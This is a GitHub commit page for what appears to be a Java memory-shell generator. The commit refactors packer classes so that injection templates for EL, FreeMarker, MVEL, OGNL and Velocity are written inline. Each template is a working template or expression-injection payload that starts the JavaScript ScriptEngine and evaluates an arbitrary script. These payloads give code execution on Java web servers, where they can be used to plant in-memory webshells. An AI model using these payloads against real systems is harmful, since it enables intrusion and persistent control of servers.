Skip to content

Commit 410ee1e

Browse files
committed
refactor: simplify expression packer
1 parent 6fcf159 commit 410ee1e

File tree

11 files changed

+11
-57
lines changed

11 files changed

+11
-57
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/packer/el/ELPacker.java

Lines changed: 3 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.memshell.config.GenerateResult;
44
import com.reajason.javaweb.memshell.packer.Packer;
5+
import com.reajason.javaweb.memshell.packer.Packers;
56
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
67
import org.apache.commons.io.IOUtils;
78

@@ -14,20 +15,11 @@
1415
* @since 2024/12/13
1516
*/
1617
public class ELPacker implements Packer {
17-
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
18-
String template = "";
19-
20-
public ELPacker() {
21-
try {
22-
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset());
23-
} catch (IOException ignored) {
24-
25-
}
26-
}
18+
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
2719

2820
@Override
2921
public String pack(GenerateResult generateResult) {
30-
String script = scriptEnginePacker.pack(generateResult);
22+
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
3123
return template.replace("{{script}}", script);
3224
}
3325
}

generator/src/main/java/com/reajason/javaweb/memshell/packer/freemarker/FreemarkerPacker.java

Lines changed: 3 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.memshell.config.GenerateResult;
44
import com.reajason.javaweb.memshell.packer.Packer;
5+
import com.reajason.javaweb.memshell.packer.Packers;
56
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
67
import org.apache.commons.io.IOUtils;
78

@@ -14,20 +15,11 @@
1415
* @since 2024/12/13
1516
*/
1617
public class FreemarkerPacker implements Packer {
17-
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
18-
String template = "";
19-
20-
public FreemarkerPacker() {
21-
try {
22-
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset());
23-
} catch (IOException ignored) {
24-
25-
}
26-
}
18+
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
2719

2820
@Override
2921
public String pack(GenerateResult generateResult) {
30-
String script = scriptEnginePacker.pack(generateResult);
22+
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
3123
return template.replace("{{script}}", script);
3224
}
3325
}

generator/src/main/java/com/reajason/javaweb/memshell/packer/mvel/MVELPacker.java

Lines changed: 1 addition & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -15,15 +15,7 @@
1515
* @since 2025/1/29
1616
*/
1717
public class MVELPacker implements Packer {
18-
String template = "";
19-
20-
public MVELPacker() {
21-
try {
22-
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/MVELScriptEngine.txt")), Charset.defaultCharset());
23-
} catch (IOException ignored) {
24-
25-
}
26-
}
18+
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
2719

2820
@Override
2921
public String pack(GenerateResult generateResult) {

generator/src/main/java/com/reajason/javaweb/memshell/packer/ognl/OGNLPacker.java

Lines changed: 1 addition & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -14,15 +14,7 @@
1414
* @since 2024/12/14
1515
*/
1616
public class OGNLPacker implements Packer {
17-
String template = "";
18-
19-
public OGNLPacker() {
20-
try {
21-
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OGNLScriptEngine.txt")), Charset.defaultCharset());
22-
} catch (IOException ignored) {
23-
24-
}
25-
}
17+
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
2618

2719
@Override
2820
public String pack(GenerateResult generateResult) {

generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java

Lines changed: 3 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.memshell.config.GenerateResult;
44
import com.reajason.javaweb.memshell.packer.Packer;
5+
import com.reajason.javaweb.memshell.packer.Packers;
56
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
67
import org.apache.commons.io.IOUtils;
78

@@ -14,20 +15,11 @@
1415
* @since 2024/12/13
1516
*/
1617
public class VelocityPacker implements Packer {
17-
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
18-
String template = "";
19-
20-
public VelocityPacker() {
21-
try {
22-
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset());
23-
} catch (IOException ignored) {
24-
25-
}
26-
}
18+
String template = "#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')";
2719

2820
@Override
2921
public String pack(GenerateResult generateResult) {
30-
String script = scriptEnginePacker.pack(generateResult);
22+
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
3123
return template.replace("{{script}}", script);
3224
}
3325
}

generator/src/main/resources/ELScriptEngine.txt

Lines changed: 0 additions & 1 deletion
This file was deleted.

generator/src/main/resources/FreemarkerScriptEngine.txt

Lines changed: 0 additions & 1 deletion
This file was deleted.

generator/src/main/resources/MVELScriptEngine.txt

Lines changed: 0 additions & 1 deletion
This file was deleted.

generator/src/main/resources/OgnlScriptEngine.txt

Lines changed: 0 additions & 1 deletion
This file was deleted.

generator/src/main/resources/SpELScriptEngine.txt

Lines changed: 0 additions & 1 deletion
This file was deleted.

0 commit comments

Comments
 (0)